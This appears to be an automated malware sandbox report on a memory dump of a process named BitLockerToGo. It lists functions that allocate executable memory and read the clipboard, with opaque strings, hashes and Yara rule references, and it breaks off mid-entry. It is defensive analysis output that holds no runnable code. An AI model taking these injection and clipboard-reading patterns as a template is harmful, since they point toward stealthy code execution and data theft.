k, xrefs: 00775310
f, xrefs: 00775300
t, xrefs: 00775318
i, xrefs: 00775320
b, xrefs: 007752F8

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeapString
String ID: b$f$i$k$t
API String ID: 983180023-3297489608
Opcode ID: 1d65d5e59598845e14f01db48ae89af4091f9844ad8d1ddaf58025ef5facf617
Instruction ID: e48286d8e93aa9be515dad4dbb16556f505c5e02c298b974f4b94a60ebbdbe02
Opcode Fuzzy Hash: 1d65d5e59598845e14f01db48ae89af4091f9844ad8d1ddaf58025ef5facf617
Instruction Fuzzy Hash: 529190756097818FDB35DF28C4907EB7BE2BB96360F188A2CD4D98B3C1D6799841C742

Uniqueness

Uniqueness Score: -1.00%

Function 00782A90 Relevance: 9.4, APIs: 6, Instructions: 419nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00100000,00003000,00000004), ref: 00782AE7
NtAllocateVirtualMemory.NTDLL(000000FF,0000BA00,00000000,?,00003000,00000040), ref: 00782BE3
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00782C3F
NtFreeVirtualMemory.NTDLL(000000FF,00100000,?,00008000), ref: 00782C91
NtAllocateVirtualMemory.NTDLL(000000FF,00100000,00000000,00010000,00003000,00000004), ref: 00782CB8
NtFreeVirtualMemory.NTDLL(000000FF,00100000,?,00008000), ref: 00782FD8

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 4281a4271a4009d8924c1096007d1ea4d8904e81b6f68f9cb368e80cd51c6619
Instruction ID: 2fea7b64a68d402dcd135bcb8f89352102089ac35979bc2ccd48843c9f161fd7
Opcode Fuzzy Hash: 4281a4271a4009d8924c1096007d1ea4d8904e81b6f68f9cb368e80cd51c6619
Instruction Fuzzy Hash: B9E1BC712483419FD310CF18C880B5ABBE5FF85319F148A2DF5A48B392D779E946CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0076902E Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 432nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0076931A
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 0076937D
NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 007694CF
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 0076952D

Strings

$, xrefs: 00769168

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: $
API String ID: 292159236-2735481893
Opcode ID: b75fde2bcb2aa6e2fdf7edd348c79a76def8279f288ae501a7d65d007932d608
Instruction ID: 9776580947b2f6906ee8c371dc04127443cb959931b3f9c3561bfc4213503fbe
Opcode Fuzzy Hash: b75fde2bcb2aa6e2fdf7edd348c79a76def8279f288ae501a7d65d007932d608
Instruction Fuzzy Hash: DAF1D0726083909FD724CF28C850B6FB7E5FBC8314F158A1DE9AA9B390D7749805CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00787500 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 315nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 007875A8
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 007875FF
NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,?,00003000,00000040), ref: 007876C3
NtFreeVirtualMemory.NTDLL(000000FF,000000B8,00000010,00008000), ref: 00787720

Strings

R-,T, xrefs: 00787650

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: R-,T
API String ID: 292159236-635581381
Opcode ID: 3525b0525d3c2dd141ed7a1e704a01b17280a33699d15356cfcad9b26244421a
Instruction ID: 56b980e91fea59b24a9a6618a7cdaa0df38e0e81d588886f80324b2a481ff00a
Opcode Fuzzy Hash: 3525b0525d3c2dd141ed7a1e704a01b17280a33699d15356cfcad9b26244421a
Instruction Fuzzy Hash: 98B1C2716483158FD314DF18C884A2AF7E5FFC8354F248A2CE9A5973A0D778E906CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0077A1C0 Relevance: 7.7, APIs: 5, Instructions: 155clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 0077A20F
GetClipboardData.USER32 ref: 0077A22A
GlobalLock.KERNEL32 ref: 0077A24F
GlobalUnlock.KERNEL32 ref: 0077A374
CloseClipboard.USER32 ref: 0077A380

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: fc0350da6c84be13bb8ff53928895788153288e0bad4cb888f30d8055c0b2318
Instruction ID: b134ef52a754d67adab3e120c0af908aece21cd52cbde23e26dc55009109d163
Opcode Fuzzy Hash: fc0350da6c84be13bb8ff53928895788153288e0bad4cb888f30d8055c0b2318
Instruction Fuzzy Hash: 9D5160B1504741DFDB20DF28C484616BBF0AB9A360F14CB59E8DA8B796D338E405DBA3

Uniqueness

Uniqueness Score: -1.00%

Function 007662B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 95nativememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00781E00: RtlAllocateHeap.NTDLL(?,00000000,0075983E), ref: 00781E91

NtAllocateVirtualMemory.NTDLL(000000FF,900000C2,00000000,?,00003000,00000040), ref: 00766393
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000010,00008000), ref: 00766405

Strings

M(IC, xrefs: 00766321
M(IC, xrefs: 0076641D

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: AllocateMemoryVirtual$FreeHeap
String ID: M(IC$M(IC
API String ID: 2385414463-504839023
Opcode ID: 147b39ab915143812fb350bd67042cb889d4c652e06609d1ab2839484a5bf0d4
Instruction ID: 08336df26ba125d29a7c2cf35976add39b64d34bf3c4d30a9711faf17b2a90cc
Opcode Fuzzy Hash: 147b39ab915143812fb350bd67042cb889d4c652e06609d1ab2839484a5bf0d4
Instruction Fuzzy Hash: 31318F712483859FE320CF14C854B5A77E5FBC8318F548A1CE6A99B3D0D778980ACB9A

Uniqueness

Uniqueness Score: -1.00%

Function 007627DB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 95nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 00762981
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 007629EB

Strings

"d;}, xrefs: 00762825
"d;}, xrefs: 00762A03

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: "d;}$"d;}
API String ID: 292159236-1624608841
Opcode ID: 6d9080598ff1a68216bac725783cdbd8f368e30b977dd8f64b687c9d21b4d4f6
Instruction ID: 62111be12d70e33e6a1aeb3fbe784be505d93d1e06edd310237e76b6be650549
Opcode Fuzzy Hash: 6d9080598ff1a68216bac725783cdbd8f368e30b977dd8f64b687c9d21b4d4f6
Instruction Fuzzy Hash: DC314975290B009BD324CF24CC55B6677E5FB49314F248B1CE6A78BBD0DB79A806CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0078426F Relevance: 6.3, Strings: 5, Instructions: 54COMMON

Download Yara Rule

Strings

\1B/, xrefs: 00784278
t%X#, xrefs: 0078428D
g)f', xrefs: 00784286
V!T_, xrefs: 00784294
U-X+, xrefs: 0078427F

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: U-X+$V!T_$\1B/$g)f'$t%X#
API String ID: 0-2324614416
Opcode ID: f53016c14a16809b613af51677ebadc31268a816bd695ad49213b881d98534c7
Instruction ID: 036c5e33f5c0599dd7438eba0f1560be2011fd1bc9bbe13e5096ba63ac6f720e
Opcode Fuzzy Hash: f53016c14a16809b613af51677ebadc31268a816bd695ad49213b881d98534c7
Instruction Fuzzy Hash: FA112BB46512428FD728DF18D4A0A22FBF2FF86704B289A9DC0858B356D775D982CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 00787160 Relevance: 6.3, APIs: 4, Instructions: 293nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 00787208
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00787265
NtAllocateVirtualMemory.NTDLL(000000FF,D2FF0000,00000000,?,00003000,00000040), ref: 00787326
NtFreeVirtualMemory.NTDLL(000000FF,D2FF0000,00000010,00008000), ref: 0078737F

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: a0478c06336279ae1b023b8ce74e8ac30f5c3b641cc95907d24c7d9b0f8d2378
Instruction ID: b29df7f377ce5f9f18874922d660001ef0b37f55321d758a83adec820c319a3f
Opcode Fuzzy Hash: a0478c06336279ae1b023b8ce74e8ac30f5c3b641cc95907d24c7d9b0f8d2378
Instruction Fuzzy Hash: 11B18C712483459FD714DF18C880B2ABBE5FF88364F248A1CF9999B3A0D778D805CB96

Uniqueness

Uniqueness Score: -1.00%

Function 007822E0 Relevance: 6.2, APIs: 4, Instructions: 206nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0078238C
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 007823DB
NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,?,00003000,00000040), ref: 00782520
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000010,00008000), ref: 0078256F

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: c5ab1e9fcffdfec6441db47b1a044d5a1bc5fd1ea92a609e5ce7f24a693be178
Instruction ID: 15568251bf77327f3e0ee61755d8cee8155b2837ca5c008e5eceab743beb3207
Opcode Fuzzy Hash: c5ab1e9fcffdfec6441db47b1a044d5a1bc5fd1ea92a609e5ce7f24a693be178
Instruction Fuzzy Hash: FD815C712483019FD314CF18C854B1BBBE5EBC8329F148A1DF9A99B391D778D90ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 00786B70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00786C24
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 00786C83

Strings

$, xrefs: 00786BFB

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: $
API String ID: 292159236-3993045852
Opcode ID: 5730d462e75044ddb3cdc08ae2a10f908a562d6845a3cfcc69049f2c1278aa01
Instruction ID: c172c694cc00a661ca8d17132d911ada42c72a85626d04064f1c8605aded2490
Opcode Fuzzy Hash: 5730d462e75044ddb3cdc08ae2a10f908a562d6845a3cfcc69049f2c1278aa01
Instruction Fuzzy Hash: 5C318D71248301AFE710DF14DC40B1BBBE8EB85758F108A1DFAA49B3D0D77899098B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00758FE0 Relevance: 5.2, Strings: 4, Instructions: 228COMMON

Download Yara Rule

Strings

pfjx, xrefs: 007590C8
Q[, xrefs: 0075901F
t, xrefs: 00759087
@, xrefs: 00759026

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: @$Q[$pfjx$t
API String ID: 0-3826901538
Opcode ID: 2bf2ed89c9ef705b276c70bc3b2f188b0f46e8041f4a1c6cd13aa9a5065bf870
Instruction ID: f11dbc34a12a576e7eb1283bc364ad4162765d194d963289338bc481350abf4b
Opcode Fuzzy Hash: 2bf2ed89c9ef705b276c70bc3b2f188b0f46e8041f4a1c6cd13aa9a5065bf870
Instruction Fuzzy Hash: 5C7189715493918BD311CF29C49074BFBE1BFC6315F188A4CE9E42B295D3799A0ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 00755300 Relevance: 3.4, Strings: 2, Instructions: 864COMMON

Download Yara Rule

Strings

0, xrefs: 00755CC0
8, xrefs: 00755CB8

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: cb2a1f47f3e00e2f87c7bf775f2b928a646471a0ed9684b3364502a2c9be2312
Instruction ID: a4e8003674deebe3244bec290c6719ac9c08271a7021384be632be0a8198b303
Opcode Fuzzy Hash: cb2a1f47f3e00e2f87c7bf775f2b928a646471a0ed9684b3364502a2c9be2312
Instruction Fuzzy Hash: BA726B71608740DFD710CF18C894B9ABBE2BF88315F58891DF9899B391D3B9D948CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0076A46F Relevance: 3.2, APIs: 2, Instructions: 168nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0076A755
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 0076A7B0

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 7823b1d21c2ce8dee01df1f22d0cfb5154bbcd9df630f3c77af0a1eea4dd9850
Instruction ID: b7c7c8c84d5725208189a9c302845c7e48a41b515a424d4c229628b22b1acda2
Opcode Fuzzy Hash: 7823b1d21c2ce8dee01df1f22d0cfb5154bbcd9df630f3c77af0a1eea4dd9850
Instruction Fuzzy Hash: A66114B11083819FD324CF14D884B5BBBE1FB85344F10891DE5EA9B291DB78990A8F96

Uniqueness

Uniqueness Score: -1.00%

Function 0076A2B9 Relevance: 3.1, APIs: 2, Instructions: 132nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0076A520
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 0076A57A

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: e979befbb3fea6dfc56ba6718c76a32da37b7c988690e03a54bdebc2b90f77a2
Instruction ID: c4db04ddeb2f7ad5338220a1b12ed5ceba73758da5e660c273b59b8e951705d0
Opcode Fuzzy Hash: e979befbb3fea6dfc56ba6718c76a32da37b7c988690e03a54bdebc2b90f77a2
Instruction Fuzzy Hash: F75103B11483819FD324CF04C880B9BBBE5FB85358F148A2DE5E99B260D778D5098F9B

Uniqueness

Uniqueness Score: -1.00%

Function 007825E0 Relevance: 3.1, APIs: 2, Instructions: 110nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 007826E2
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 00782735

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: bb891a4cea37dbcd96fa5aec589b59a498d36abbee428c7a379999b650e8f5c6
Instruction ID: 2b933216a1d72380f3c7de390a2d9a3dd6dcd4c0754efe22db608b5329a3768e
Opcode Fuzzy Hash: bb891a4cea37dbcd96fa5aec589b59a498d36abbee428c7a379999b650e8f5c6
Instruction Fuzzy Hash: 0C3190B12483019FE304DF04C844B5BBBE4FB84359F148A1DF4A59B790E7B9D90ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 00762384 Relevance: 3.1, APIs: 2, Instructions: 102nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 00762493
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 007624DF

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 01e7a95f17ce6bda518f485c593f664d42d8eed2060cfff3db51fd5c8220ee5b
Instruction ID: 5597e92ddc9aa4f0d76d34b287d5ccb64140e82b70c13053353d65042457b5ef
Opcode Fuzzy Hash: 01e7a95f17ce6bda518f485c593f664d42d8eed2060cfff3db51fd5c8220ee5b
Instruction Fuzzy Hash: 3E315C71240B048FD724CF28C890B6677F5FB49304F148A1DE6A78BBA0D779A906CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00782850 Relevance: 3.1, APIs: 2, Instructions: 93nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00782915
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 0078295F

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: d009a28d6f06a216021869d92a9db724f03e016ce52fc9744905b981d026a4f2
Instruction ID: 57c8400e94e1b3b65614e038642dba298f58308b0e4c7307f6e0074d3fb6311c
Opcode Fuzzy Hash: d009a28d6f06a216021869d92a9db724f03e016ce52fc9744905b981d026a4f2
Instruction Fuzzy Hash: 9E31BF712443009FE724EF04CC44B1B7BE8EB80365F15861DE5A89B3E1D7799C4ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 0076FF68 Relevance: 3.1, APIs: 2, Instructions: 88nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 007701B7
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00770201

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 441d54473c4e843da8122bdc21f41f09ff2887e4769396d90c03a5b7a036f744
Instruction ID: 7310f7dad104e8333952593bf34ae28505134d83b6f06c848afe31fe4eb5ebda
Opcode Fuzzy Hash: 441d54473c4e843da8122bdc21f41f09ff2887e4769396d90c03a5b7a036f744
Instruction Fuzzy Hash: BF312775240B048FD724CF14C944B56B3E9FB48314F148A2DE9AAC7B90D778F80A8B98

Uniqueness

Uniqueness Score: -1.00%

Function 0076C820 Relevance: 3.1, APIs: 2, Instructions: 84nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0076C8C9
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 0076C919

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: d215d40e7e4ba21cf156262c678234cc7570ec78e7e6bbd8bffc46022ab87929
Instruction ID: 836455a90541043539efcaaa820fac73c633d0a1e5115275b4658881aed6fb4d
Opcode Fuzzy Hash: d215d40e7e4ba21cf156262c678234cc7570ec78e7e6bbd8bffc46022ab87929
Instruction Fuzzy Hash: EA310671250B008FE734CF15C844B66B7E5EB49318F10CA1DD5AA8BBA0D779B846CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00782740 Relevance: 3.1, APIs: 2, Instructions: 81nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 007827E5
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 0078282B

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 5e22ebf1b54b4372f3ea11ce993ac9d1c41acc98c67f41fc50d7d58bef81513b
Instruction ID: 940f8aec6c4cf7277d5617229821243dd7b1cadce4168078b9666cc1633ad820
Opcode Fuzzy Hash: 5e22ebf1b54b4372f3ea11ce993ac9d1c41acc98c67f41fc50d7d58bef81513b
Instruction Fuzzy Hash: F92181B11483059FE714DF04DC44B5BBBE8EB84718F10891DF9A58B390D7B9980ACB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00780260 Relevance: 3.1, APIs: 2, Instructions: 80nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00780301
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 0078035A

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: a6b8a2a103dc357dd261c17edd6f8070ffb1463a1d0763546a6c69a48cd5455c
Instruction ID: cb3da3d78ebd260afe83089f7de5a1c91e04ca487d4a9dda880aacc0687c04c6
Opcode Fuzzy Hash: a6b8a2a103dc357dd261c17edd6f8070ffb1463a1d0763546a6c69a48cd5455c
Instruction Fuzzy Hash: 27216872108315AFD310DF14CC44B1FBBE8FB89368F118A1DFAA5973A0D77598098BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0076C6C0 Relevance: 3.1, APIs: 2, Instructions: 80nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0076C74B
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 0076C791

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 87d864656c1a68c57493053c0c0fa701f04265975af44c0b788c9ec9985d7ad5
Instruction ID: fae6584a945d19099b8b53d67d291145e36d82f088a57c47912cb6a18c5923c5
Opcode Fuzzy Hash: 87d864656c1a68c57493053c0c0fa701f04265975af44c0b788c9ec9985d7ad5
Instruction Fuzzy Hash: 0131E576144B008FD325CF29C854B66B7F9EB48314F148A1DD9AB87BA0D778F806CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00782980 Relevance: 3.1, APIs: 2, Instructions: 79nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00782A25
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 00782A7A

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: cab2278c560b37f1661364fdf5883656322b321dfd56278b4626face696d86e6
Instruction ID: e359bbab8bc571bafd31b84c7da2b3769d5945ef4f99cdccabb22a75441a72fb
Opcode Fuzzy Hash: cab2278c560b37f1661364fdf5883656322b321dfd56278b4626face696d86e6
Instruction Fuzzy Hash: 2C218C71148315AFD310DF14CC84B1BBBE8EB84768F108A1DFAA5973A0D7759809CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0077697D Relevance: 1.7, APIs: 1, Instructions: 203COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 00776987

Part of subcall function 00781E00: RtlAllocateHeap.NTDLL(?,00000000,0075983E), ref: 00781E91

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeapString
String ID:
API String ID: 983180023-0
Opcode ID: 3529ab121c6068ff3e0534607e7ddffbdf25c04dc232e7b1d7315fd636616842
Instruction ID: 14feb1508b9e6d35e1b4944427853744637fcdddd35a8f32a26c67f8d20c0704
Opcode Fuzzy Hash: 3529ab121c6068ff3e0534607e7ddffbdf25c04dc232e7b1d7315fd636616842
Instruction Fuzzy Hash: 1D8167B160C3829FC764EF28C494BAABBE1FF99354F54892CF49987391E7759840CB42

Uniqueness

Uniqueness Score: -1.00%

Function 007788D9 Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 007788E8

Part of subcall function 00781E00: RtlAllocateHeap.NTDLL(?,00000000,0075983E), ref: 00781E91

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeapString
String ID:
API String ID: 983180023-0
Opcode ID: 3eb3ff55cb7207850f4a7dbffcdbe911ddae9a18456447fb0355ed81a99c568f
Instruction ID: 0157f30406b54a1180e0d45c5494219746aeeb2140248163483b534dcebb1ac8
Opcode Fuzzy Hash: 3eb3ff55cb7207850f4a7dbffcdbe911ddae9a18456447fb0355ed81a99c568f
